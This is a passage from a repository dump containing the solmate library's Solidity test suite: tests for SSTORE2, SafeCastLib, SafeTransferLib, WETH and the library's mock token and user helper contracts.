SSTORE2.read(SSTORE2.write(hex"11223344"), 41000);
}
function testFailWriteReadEmptyOutOfBounds() public {
SSTORE2.read(SSTORE2.write(hex"11223344"), 42000, 42000);
}
function testFailWriteReadOutOfBounds() public {
SSTORE2.read(SSTORE2.write(hex"11223344"), 41000, 42000);
}
function testWriteRead(bytes calldata testBytes) public {
assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes)), testBytes);
}
function testWriteReadCustomStartBound(bytes calldata testBytes, uint256 startIndex) public {
if (testBytes.length == 0) return;
startIndex = bound(startIndex, 0, testBytes.length);
assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes), startIndex), bytes(testBytes[startIndex:]));
}
function testWriteReadCustomBounds(
bytes calldata testBytes,
uint256 startIndex,
uint256 endIndex
) public {
if (testBytes.length == 0) return;
endIndex = bound(endIndex, 0, testBytes.length);
startIndex = bound(startIndex, 0, testBytes.length);
if (startIndex > endIndex) return;
assertBytesEq(
SSTORE2.read(SSTORE2.write(testBytes), startIndex, endIndex),
bytes(testBytes[startIndex:endIndex])
);
}
function testFailReadInvalidPointer(address pointer) public view {
SSTORE2.read(pointer);
}
function testFailReadInvalidPointerCustomStartBound(address pointer, uint256 startIndex) public view {
SSTORE2.read(pointer, startIndex);
}
function testFailReadInvalidPointerCustomBounds(
address pointer,
uint256 startIndex,
uint256 endIndex
) public view {
SSTORE2.read(pointer, startIndex, endIndex);
}
function testFailWriteReadCustomStartBoundOutOfRange(bytes calldata testBytes, uint256 startIndex) public {
startIndex = bound(startIndex, testBytes.length + 1, type(uint256).max);
SSTORE2.read(SSTORE2.write(testBytes), startIndex);
}
function testFailWriteReadCustomBoundsOutOfRange(
bytes calldata testBytes,
uint256 startIndex,
uint256 endIndex
) public {
endIndex = bound(endIndex, startIndex + 1, type(uint256).max);
SSTORE2.read(SSTORE2.write(testBytes), startIndex, endIndex);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/SafeCastLib.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {SafeCastLib} from "../utils/SafeCastLib.sol";
contract SafeCastLibTest is DSTestPlus {
function testSafeCastTo248() public {
assertEq(SafeCastLib.safeCastTo248(2.5e45), 2.5e45);
assertEq(SafeCastLib.safeCastTo248(2.5e27), 2.5e27);
}
function testSafeCastTo224() public {
assertEq(SafeCastLib.safeCastTo224(2.5e36), 2.5e36);
assertEq(SafeCastLib.safeCastTo224(2.5e27), 2.5e27);
}
function testSafeCastTo128() public {
assertEq(SafeCastLib.safeCastTo128(2.5e27), 2.5e27);
assertEq(SafeCastLib.safeCastTo128(2.5e18), 2.5e18);
}
function testSafeCastTo96() public {
assertEq(SafeCastLib.safeCastTo96(2.5e18), 2.5e18);
assertEq(SafeCastLib.safeCastTo96(2.5e17), 2.5e17);
}
function testSafeCastTo64() public {
assertEq(SafeCastLib.safeCastTo64(2.5e18), 2.5e18);
assertEq(SafeCastLib.safeCastTo64(2.5e17), 2.5e17);
}
function testSafeCastTo32() public {
assertEq(SafeCastLib.safeCastTo32(2.5e8), 2.5e8);
assertEq(SafeCastLib.safeCastTo32(2.5e7), 2.5e7);
}
function testSafeCastTo8() public {
assertEq(SafeCastLib.safeCastTo8(100), 100);
assertEq(SafeCastLib.safeCastTo8(250), 250);
}
function testFailSafeCastTo248() public pure {
SafeCastLib.safeCastTo248(type(uint248).max + 1);
}
function testFailSafeCastTo224() public pure {
SafeCastLib.safeCastTo224(type(uint224).max + 1);
}
function testFailSafeCastTo128() public pure {
SafeCastLib.safeCastTo128(type(uint128).max + 1);
}
function testFailSafeCastTo96() public pure {
SafeCastLib.safeCastTo96(type(uint96).max + 1);
}
function testFailSafeCastTo64() public pure {
SafeCastLib.safeCastTo64(type(uint64).max + 1);
}
function testFailSafeCastTo32() public pure {
SafeCastLib.safeCastTo32(type(uint32).max + 1);
}
function testFailSafeCastTo8() public pure {
SafeCastLib.safeCastTo8(type(uint8).max + 1);
}
function testSafeCastTo248(uint256 x) public {
x = bound(x, 0, type(uint248).max);
assertEq(SafeCastLib.safeCastTo248(x), x);
}
function testSafeCastTo224(uint256 x) public {
x = bound(x, 0, type(uint224).max);
assertEq(SafeCastLib.safeCastTo224(x), x);
}
function testSafeCastTo128(uint256 x) public {
x = bound(x, 0, type(uint128).max);
assertEq(SafeCastLib.safeCastTo128(x), x);
}
function testSafeCastTo96(uint256 x) public {
x = bound(x, 0, type(uint96).max);
assertEq(SafeCastLib.safeCastTo96(x), x);
}
function testSafeCastTo64(uint256 x) public {
x = bound(x, 0, type(uint64).max);
assertEq(SafeCastLib.safeCastTo64(x), x);
}
function testSafeCastTo32(uint256 x) public {
x = bound(x, 0, type(uint32).max);
assertEq(SafeCastLib.safeCastTo32(x), x);
}
function testSafeCastTo8(uint256 x) public {
x = bound(x, 0, type(uint8).max);
assertEq(SafeCastLib.safeCastTo8(x), x);
}
function testFailSafeCastTo248(uint256 x) public pure {
x = bound(x, type(uint248).max + 1, type(uint256).max);
SafeCastLib.safeCastTo248(x);
}
function testFailSafeCastTo224(uint256 x) public pure {
x = bound(x, type(uint224).max + 1, type(uint256).max);
SafeCastLib.safeCastTo224(x);
}
function testFailSafeCastTo128(uint256 x) public pure {
x = bound(x, type(uint128).max + 1, type(uint256).max);
SafeCastLib.safeCastTo128(x);
}
function testFailSafeCastTo96(uint256 x) public pure {
x = bound(x, type(uint96).max + 1, type(uint256).max);
SafeCastLib.safeCastTo96(x);
}
function testFailSafeCastTo64(uint256 x) public pure {
x = bound(x, type(uint64).max + 1, type(uint256).max);
SafeCastLib.safeCastTo64(x);
}
function testFailSafeCastTo32(uint256 x) public pure {
x = bound(x, type(uint32).max + 1, type(uint256).max);
SafeCastLib.safeCastTo32(x);
}
function testFailSafeCastTo8(uint256 x) public pure {
x = bound(x, type(uint8).max + 1, type(uint256).max);
SafeCastLib.safeCastTo8(x);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/SafeTransferLib.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {ERC20} from "weird-erc20/ERC20.sol";
import {ReturnsFalseToken} from "weird-erc20/ReturnsFalse.sol";
import {MissingReturnToken} from "weird-erc20/MissingReturns.sol";
import {TransferFromSelfToken} from "weird-erc20/TransferFromSelf.sol";
import {PausableToken} from "weird-erc20/Pausable.sol";
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {SafeTransferLib, ERC20 as SolmateERC20} from "../utils/SafeTransferLib.sol";
contract SafeTransferLibTest is DSTestPlus {
ReturnsFalseToken returnsFalse;
MissingReturnToken missingReturn;
TransferFromSelfToken transferFromSelf;
PausableToken pausable;
ERC20 erc20;
function setUp() public {
returnsFalse = new ReturnsFalseToken(type(uint256).max);
missingReturn = new MissingReturnToken(type(uint256).max);
transferFromSelf = new TransferFromSelfToken(type(uint256).max);
pausable = new PausableToken(type(uint256).max);
pausable.stop();
erc20 = new ERC20(type(uint256).max);
}
function testTransferWithMissingReturn() public {
verifySafeTransfer(address(missingReturn), address(0xBEEF), 1e18);
}
function testTransferWithTransferFromSelf() public {
verifySafeTransfer(address(transferFromSelf), address(0xBEEF), 1e18);
}
function testTransferWithStandardERC20() public {
verifySafeTransfer(address(erc20), address(0xBEEF), 1e18);
}
function testTransferWithNonContract() public {
SafeTransferLib.safeTransfer(SolmateERC20(address(0xBADBEEF)), address(0xBEEF), 1e18);
}
function testTransferFromWithMissingReturn() public {
verifySafeTransferFrom(address(missingReturn), address(0xFEED), address(0xBEEF), 1e18);
}
function testTransferFromWithTransferFromSelf() public {
verifySafeTransferFrom(address(transferFromSelf), address(0xFEED), address(0xBEEF), 1e18);
}
function testTransferFromWithStandardERC20() public {
verifySafeTransferFrom(address(erc20), address(0xFEED), address(0xBEEF), 1e18);
}
function testTransferFromWithNonContract() public {
SafeTransferLib.safeTransferFrom(SolmateERC20(address(0xBADBEEF)), address(0xFEED), address(0xBEEF), 1e18);
}
function testApproveWithMissingReturn() public {
verifySafeApprove(address(missingReturn), address(0xBEEF), 1e18);
}
function testApproveWithTransferFromSelf() public {
verifySafeApprove(address(transferFromSelf), address(0xBEEF), 1e18);
}
function testApproveWithStandardERC20() public {
verifySafeApprove(address(transferFromSelf), address(0xBEEF), 1e18);
}
function testApproveWithNonContract() public {
SafeTransferLib.safeApprove(SolmateERC20(address(0xBADBEEF)), address(0xBEEF), 1e18);
}
function testTransferETH() public {
SafeTransferLib.safeTransferETH(address(0xBEEF), 1e18);
}
function testFailTransferWithReturnsFalse() public {
verifySafeTransfer(address(returnsFalse), address(0xBEEF), 1e18);
}
function testFailTransferWithPausable() public {
verifySafeTransfer(address(pausable), address(0xBEEF), 1e18);
}
function testFailTransferFromWithReturnsFalse() public {
verifySafeTransferFrom(address(returnsFalse), address(0xFEED), address(0xBEEF), 1e18);
}
function testFailTransferFromWithPausable() public {
verifySafeTransferFrom(address(pausable), address(0xFEED), address(0xBEEF), 1e18);
}
function testFailApproveWithReturnsFalse() public {
verifySafeApprove(address(returnsFalse), address(0xBEEF), 1e18);
}
function testFailApproveWithPausable() public {
verifySafeApprove(address(pausable), address(0xBEEF), 1e18);
}
function testTransferWithMissingReturn(address to, uint256 amount) public {
verifySafeTransfer(address(missingReturn), to, amount);
}
function testTransferWithTransferFromSelf(address to, uint256 amount) public {
verifySafeTransfer(address(transferFromSelf), to, amount);
}
function testTransferWithStandardERC20(address to, uint256 amount) public {
verifySafeTransfer(address(erc20), to, amount);
}
function testFailTransferETHToContractWithoutFallback() public {
SafeTransferLib.safeTransferETH(address(this), 1e18);
}
function testTransferWithNonContract(
address nonContract,
address to,
uint256 amount
) public {
if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;
SafeTransferLib.safeTransfer(SolmateERC20(nonContract), to, amount);
}
function testTransferFromWithMissingReturn(
address from,
address to,
uint256 amount
) public {
verifySafeTransferFrom(address(missingReturn), from, to, amount);
}
function testTransferFromWithTransferFromSelf(
address from,
address to,
uint256 amount
) public {
verifySafeTransferFrom(address(transferFromSelf), from, to, amount);
}
function testTransferFromWithStandardERC20(
address from,
address to,
uint256 amount
) public {
verifySafeTransferFrom(address(erc20), from, to, amount);
}
function testTransferFromWithNonContract(
address nonContract,
address from,
address to,
uint256 amount
) public {
if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;
SafeTransferLib.safeTransferFrom(SolmateERC20(nonContract), from, to, amount);
}
function testApproveWithMissingReturn(address to, uint256 amount) public {
verifySafeApprove(address(missingReturn), to, amount);
}
function testApproveWithTransferFromSelf(address to, uint256 amount) public {
verifySafeApprove(address(transferFromSelf), to, amount);
}
function testApproveWithStandardERC20(address to, uint256 amount) public {
verifySafeApprove(address(transferFromSelf), to, amount);
}
function testApproveWithNonContract(
address nonContract,
address to,
uint256 amount
) public {
if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;
SafeTransferLib.safeApprove(SolmateERC20(nonContract), to, amount);
}
function testTransferETH(address recipient, uint256 amount) public {
if (uint256(uint160(recipient)) <= 18) return;
amount = bound(amount, 0, address(this).balance);
SafeTransferLib.safeTransferETH(recipient, amount);
}
function testFailTransferWithReturnsFalse(address to, uint256 amount) public {
verifySafeTransfer(address(returnsFalse), to, amount);
}
function testFailTransferWithPausable(address to, uint256 amount) public {
verifySafeTransfer(address(pausable), to, amount);
}
function testFailTransferFromWithReturnsFalse(
address from,
address to,
uint256 amount
) public {
verifySafeTransferFrom(address(returnsFalse), from, to, amount);
}
function testFailTransferFromWithPausable(
address from,
address to,
uint256 amount
) public {
verifySafeTransferFrom(address(pausable), from, to, amount);
}
function testFailApproveWithReturnsFalse(address to, uint256 amount) public {
verifySafeApprove(address(returnsFalse), to, amount);
}
function testFailApproveWithPausable(address to, uint256 amount) public {
verifySafeApprove(address(pausable), to, amount);
}
function testFailTransferETHToContractWithoutFallback(uint256 amount) public {
SafeTransferLib.safeTransferETH(address(this), amount);
}
function verifySafeTransfer(
address token,
address to,
uint256 amount
) internal {
uint256 preBal = ERC20(token).balanceOf(to);
SafeTransferLib.safeTransfer(SolmateERC20(address(token)), to, amount);
uint256 postBal = ERC20(token).balanceOf(to);
if (to == address(this)) {
assertEq(preBal, postBal);
} else {
assertEq(postBal - preBal, amount);
}
}
function verifySafeTransferFrom(
address token,
address from,
address to,
uint256 amount
) internal {
forceApprove(token, from, address(this), amount);
SafeTransferLib.safeTransfer(SolmateERC20(token), from, amount);
uint256 preBal = ERC20(token).balanceOf(to);
SafeTransferLib.safeTransferFrom(SolmateERC20(token), from, to, amount);
uint256 postBal = ERC20(token).balanceOf(to);
if (from == to) {
assertEq(preBal, postBal);
} else {
assertEq(postBal - preBal, amount);
}
}
function verifySafeApprove(
address token,
address to,
uint256 amount
) internal {
SafeTransferLib.safeApprove(SolmateERC20(address(token)), to, amount);
assertEq(ERC20(token).allowance(address(this), to), amount);
}
function forceApprove(
address token,
address from,
address to,
uint256 amount
) internal {
uint256 slot = token == address(erc20) || token == address(pausable) ? 3 : 2;
hevm.store(
token,
keccak256(abi.encode(to, keccak256(abi.encode(from, uint256(slot))))),
bytes32(uint256(amount))
);
assertEq(ERC20(token).allowance(from, to), amount, "wrong allowance");
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/WETH.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {DSInvariantTest} from "./utils/DSInvariantTest.sol";
import {SafeTransferLib} from "../utils/SafeTransferLib.sol";
import {WETH} from "../tokens/WETH.sol";
contract WETHTest is DSTestPlus {
WETH weth;
function setUp() public {
weth = new WETH();
}
function testDeposit() public {
assertEq(weth.balanceOf(address(this)), 0);
assertEq(weth.totalSupply(), 0);
SafeTransferLib.safeTransferETH(address(weth), 1 ether);
assertEq(weth.balanceOf(address(this)), 1 ether);
assertEq(weth.totalSupply(), 1 ether);
}
function testFallbackDeposit() public {
assertEq(weth.balanceOf(address(this)), 0);
assertEq(weth.totalSupply(), 0);
weth.deposit{value: 1 ether}();
assertEq(weth.balanceOf(address(this)), 1 ether);
assertEq(weth.totalSupply(), 1 ether);
}
function testWithdraw() public {
uint256 startingBalance = address(this).balance;
weth.deposit{value: 1 ether}();
weth.withdraw(1 ether);
uint256 balanceAfterWithdraw = address(this).balance;
assertEq(balanceAfterWithdraw, startingBalance);
assertEq(weth.balanceOf(address(this)), 0);
assertEq(weth.totalSupply(), 0);
}
function testPartialWithdraw() public {
weth.deposit{value: 1 ether}();
uint256 balanceBeforeWithdraw = address(this).balance;
weth.withdraw(0.5 ether);
uint256 balanceAfterWithdraw = address(this).balance;
assertEq(balanceAfterWithdraw, balanceBeforeWithdraw + 0.5 ether);
assertEq(weth.balanceOf(address(this)), 0.5 ether);
assertEq(weth.totalSupply(), 0.5 ether);
}
function testDeposit(uint256 amount) public {
amount = bound(amount, 0, address(this).balance);
assertEq(weth.balanceOf(address(this)), 0);
assertEq(weth.totalSupply(), 0);
SafeTransferLib.safeTransferETH(address(weth), amount);
assertEq(weth.balanceOf(address(this)), amount);
assertEq(weth.totalSupply(), amount);
}
function testFallbackDeposit(uint256 amount) public {
amount = bound(amount, 0, address(this).balance);
assertEq(weth.balanceOf(address(this)), 0);
assertEq(weth.totalSupply(), 0);
weth.deposit{value: amount}();
assertEq(weth.balanceOf(address(this)), amount);
assertEq(weth.totalSupply(), amount);
}
function testWithdraw(uint256 depositAmount, uint256 withdrawAmount) public {
depositAmount = bound(depositAmount, 0, address(this).balance);
withdrawAmount = bound(withdrawAmount, 0, depositAmount);
weth.deposit{value: depositAmount}();
uint256 balanceBeforeWithdraw = address(this).balance;
weth.withdraw(withdrawAmount);
uint256 balanceAfterWithdraw = address(this).balance;
assertEq(balanceAfterWithdraw, balanceBeforeWithdraw + withdrawAmount);
assertEq(weth.balanceOf(address(this)), depositAmount - withdrawAmount);
assertEq(weth.totalSupply(), depositAmount - withdrawAmount);
}
receive() external payable {}
}
contract WETHInvariants is DSTestPlus, DSInvariantTest {
WETHTester wethTester;
WETH weth;
function setUp() public {
weth = new WETH();
wethTester = new WETHTester{value: address(this).balance}(weth);
addTargetContract(address(wethTester));
}
function invariantTotalSupplyEqualsBalance() public {
assertEq(address(weth).balance, weth.totalSupply());
}
}
contract WETHTester {
WETH weth;
constructor(WETH _weth) payable {
weth = _weth;
}
function deposit(uint256 amount) public {
weth.deposit{value: amount}();
}
function fallbackDeposit(uint256 amount) public {
SafeTransferLib.safeTransferETH(address(weth), amount);
}
function withdraw(uint256 amount) public {
weth.withdraw(amount);
}
receive() external payable {}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/DSInvariantTest.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
contract DSInvariantTest {
address[] private targets;
function targetContracts() public view virtual returns (address[] memory) {
require(targets.length > 0, "NO_TARGET_CONTRACTS");
return targets;
}
function addTargetContract(address newTargetContract) internal virtual {
targets.push(newTargetContract);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/DSTestPlus.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {DSTest} from "ds-test/test.sol";
import {Hevm} from "./Hevm.sol";
/// @notice Extended testing framework for DappTools projects.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/test/utils/DSTestPlus.sol)
contract DSTestPlus is DSTest {
Hevm internal constant hevm = Hevm(HEVM_ADDRESS);
address internal constant DEAD_ADDRESS = 0xDeaDbeefdEAdbeefdEadbEEFdeadbeEFdEaDbeeF;
string private checkpointLabel;
uint256 private checkpointGasLeft;
function startMeasuringGas(string memory label) internal virtual {
checkpointLabel = label;
checkpointGasLeft = gasleft();
}
function stopMeasuringGas() internal virtual {
uint256 checkpointGasLeft2 = gasleft();
string memory label = checkpointLabel;
emit log_named_uint(string(abi.encodePacked(label, " Gas")), checkpointGasLeft - checkpointGasLeft2);
}
function fail(string memory err) internal virtual {
emit log_named_string("Error", err);
fail();
}
function assertFalse(bool data) internal virtual {
assertTrue(!data);
}
function assertUint128Eq(uint128 a, uint128 b) internal virtual {
assertEq(uint256(a), uint256(b));
}
function assertUint64Eq(uint64 a, uint64 b) internal virtual {
assertEq(uint256(a), uint256(b));
}
function assertUint96Eq(uint96 a, uint96 b) internal virtual {
assertEq(uint256(a), uint256(b));
}
function assertUint32Eq(uint32 a, uint32 b) internal virtual {
assertEq(uint256(a), uint256(b));
}
function assertBoolEq(bool a, bool b) internal virtual {
b ? assertTrue(a) : assertFalse(a);
}
function assertApproxEq(
uint256 a,
uint256 b,
uint256 maxDelta
) internal virtual {
uint256 delta = a > b ? a - b : b - a;
if (delta > maxDelta) {
emit log("Error: a ~= b not satisfied [uint]");
emit log_named_uint(" Expected", a);
emit log_named_uint(" Actual", b);
emit log_named_uint(" Max Delta", maxDelta);
emit log_named_uint(" Delta", delta);
fail();
}
}
function assertRelApproxEq(
uint256 a,
uint256 b,
uint256 maxPercentDelta
) internal virtual {
uint256 delta = a > b ? a - b : b - a;
uint256 abs = a > b ? a : b;
uint256 percentDelta = (delta * 1e18) / abs;
if (percentDelta > maxPercentDelta) {
emit log("Error: a ~= b not satisfied [uint]");
emit log_named_uint(" Expected", a);
emit log_named_uint(" Actual", b);
emit log_named_uint(" Max % Delta", maxPercentDelta);
emit log_named_uint(" % Delta", percentDelta);
fail();
}
}
function assertBytesEq(bytes memory a, bytes memory b) internal virtual {
if (keccak256(a) != keccak256(b)) {
emit log("Error: a == b not satisfied [bytes]");
emit log_named_bytes(" Expected", b);
emit log_named_bytes(" Actual", a);
fail();
}
}
function assertUintArrayEq(uint256[] memory a, uint256[] memory b) internal virtual {
require(a.length == b.length, "LENGTH_MISMATCH");
for (uint256 i = 0; i < a.length; i++) {
assertEq(a[i], b[i]);
}
}
function bound(
uint256 x,
uint256 min,
uint256 max
) internal pure returns (uint256 result) {
require(max >= min, "MAX_LESS_THAN_MIN");
uint256 size = max - min;
if (max != type(uint256).max) size++; // Make the max inclusive.
if (size == 0) return min; // Using max would be equivalent as well.
// Ensure max is inclusive in cases where x != 0 and max is at uint max.
if (max == type(uint256).max && x != 0) x--; // Accounted for later.
if (x < min) x += size * (((min - x) / size) + 1);
result = min + ((x - min) % size);
// Account for decrementing x to make max inclusive.
if (max == type(uint256).max && x != 0) result++;
}
function min3(
uint256 a,
uint256 b,
uint256 c
) internal pure returns (uint256) {
return a > b ? (b > c ? c : b) : (a > c ? c : a);
}
function min2(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? b : a;
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/Hevm.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
interface Hevm {
function warp(uint256) external;
function roll(uint256) external;
function fee(uint256) external;
function load(address, bytes32) external returns (bytes32);
function store(
address,
bytes32,
bytes32
) external;
function sign(uint256, bytes32)
external
returns (
uint8,
bytes32,
bytes32
);
function addr(uint256) external returns (address);
function ffi(string[] calldata) external returns (bytes memory);
function prank(address) external;
function startPrank(address) external;
function prank(address, address) external;
function startPrank(address, address) external;
function stopPrank() external;
function deal(address, uint256) external;
function etch(address, bytes calldata) external;
function expectRevert(bytes calldata) external;
function expectRevert(bytes4) external;
function record() external;
function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
function expectEmit(
bool,
bool,
bool,
bool
) external;
function mockCall(
address,
bytes calldata,
bytes calldata
) external;
function clearMockedCalls() external;
function expectCall(address, bytes calldata) external;
function getCode(string calldata) external returns (bytes memory);
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/mocks/MockAuthChild.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {Auth, Authority} from "../../../auth/Auth.sol";
contract MockAuthChild is Auth(msg.sender, Authority(address(0))) {
bool public flag;
function updateFlag() public virtual requiresAuth {
flag = true;
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/mocks/MockAuthority.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {Authority} from "../../../auth/Auth.sol";
contract MockAuthority is Authority {
bool immutable allowCalls;
constructor(bool _allowCalls) {
allowCalls = _allowCalls;
}
function canCall(
address,
address,
bytes4
) public view override returns (bool) {
return allowCalls;
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/mocks/MockERC1155.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC1155} from "../../../tokens/ERC1155.sol";
contract MockERC1155 is ERC1155 {
function uri(uint256) public pure virtual override returns (string memory) {}
function mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual {
_mint(to, id, amount, data);
}
function batchMint(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual {
_batchMint(to, ids, amounts, data);
}
function burn(
address from,
uint256 id,
uint256 amount
) public virtual {
_burn(from, id, amount);
}
function batchBurn(
address from,
uint256[] memory ids,
uint256[] memory amounts
) public virtual {
_batchBurn(from, ids, amounts);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/mocks/MockERC20.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../../../tokens/ERC20.sol";
contract MockERC20 is ERC20 {
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) ERC20(_name, _symbol, _decimals) {}
function mint(address to, uint256 value) public virtual {
_mint(to, value);
}
function burn(address from, uint256 value) public virtual {
_burn(from, value);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/mocks/MockERC4626.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../../../tokens/ERC20.sol";
import {ERC4626} from "../../../mixins/ERC4626.sol";
contract MockERC4626 is ERC4626 {
uint256 public beforeWithdrawHookCalledCounter = 0;
uint256 public afterDepositHookCalledCounter = 0;
constructor(
ERC20 _underlying,
string memory _name,
string memory _symbol
) ERC4626(_underlying, _name, _symbol) {}
function totalAssets() public view override returns (uint256) {
return asset.balanceOf(address(this));
}
function beforeWithdraw(uint256, uint256) internal override {
beforeWithdrawHookCalledCounter++;
}
function afterDeposit(uint256, uint256) internal override {
afterDepositHookCalledCounter++;
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/mocks/MockERC721.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC721} from "../../../tokens/ERC721.sol";
contract MockERC721 is ERC721 {
constructor(string memory _name, string memory _symbol) ERC721(_name, _symbol) {}
function tokenURI(uint256) public pure virtual override returns (string memory) {}
function mint(address to, uint256 tokenId) public virtual {
_mint(to, tokenId);
}
function burn(uint256 tokenId) public virtual {
_burn(tokenId);
}
function safeMint(address to, uint256 tokenId) public virtual {
_safeMint(to, tokenId);
}
function safeMint(
address to,
uint256 tokenId,
bytes memory data
) public virtual {
_safeMint(to, tokenId, data);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/users/ERC1155User.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC1155, ERC1155TokenReceiver} from "../../../tokens/ERC1155.sol";
contract ERC1155User is ERC1155TokenReceiver {
ERC1155 token;
constructor(ERC1155 _token) {
token = _token;
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external virtual override returns (bytes4) {
return ERC1155TokenReceiver.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external virtual override returns (bytes4) {
return ERC1155TokenReceiver.onERC1155BatchReceived.selector;
}
function setApprovalForAll(address operator, bool approved) public virtual {
token.setApprovalForAll(operator, approved);
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual {
token.safeTransferFrom(from, to, id, amount, data);
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual {
token.safeBatchTransferFrom(from, to, ids, amounts, data);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/users/ERC20User.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../../../tokens/ERC20.sol";
contract ERC20User {
ERC20 token;
constructor(ERC20 _token) {
token = _token;
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
return token.approve(spender, amount);
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
return token.transfer(to, amount);
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
return token.transferFrom(from, to, amount);
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
return token.permit(owner, spender, value, deadline, v, r, s);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/users/ERC4626User.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../../../tokens/ERC20.sol";
import {ERC4626} from "../../../mixins/ERC4626.sol";
import {ERC20User} from "./ERC20User.sol";
contract ERC4626User is ERC20User {
ERC4626 vault;
constructor(ERC4626 _vault, ERC20 _token) ERC20User(_token) {
vault = _vault;
}
function deposit(uint256 amount, address to) public virtual returns (uint256 shares) {
return vault.deposit(amount, to);
}
function mint(uint256 shares, address to) public virtual returns (uint256 underlyingAmount) {
return vault.mint(shares, to);
}
function withdraw(
uint256 amount,
address to,
address from
) public virtual returns (uint256 shares) {
return vault.withdraw(amount, to, from);
}
function redeem(
uint256 shares,
address to,
address from
) public virtual returns (uint256 underlyingAmount) {
return vault.redeem(shares, to, from);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/users/ERC721User.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC721, ERC721TokenReceiver} from "../../../tokens/ERC721.sol";
contract ERC721User is ERC721TokenReceiver {
ERC721 token;
constructor(ERC721 _token) {
token = _token;
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) public virtual override returns (bytes4) {
return ERC721TokenReceiver.onERC721Received.selector;
}
function approve(address spender, uint256 tokenId) public virtual {
token.approve(spender, tokenId);
}
function setApprovalForAll(address operator, bool approved) public virtual {
token.setApprovalForAll(operator, approved);
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual {
token.transferFrom(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual {
token.safeTransferFrom(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public {
token.safeTransferFrom(from, to, tokenId, data);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/users/GenericUser.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity >=0.8.0;
contract GenericUser {
function tryCall(address target, bytes memory data) public virtual returns (bool success, bytes memory returnData) {
(success, returnData) = target.call(data);
}
function call(address target, bytes memory data) public virtual returns (bytes memory returnData) {
bool success;
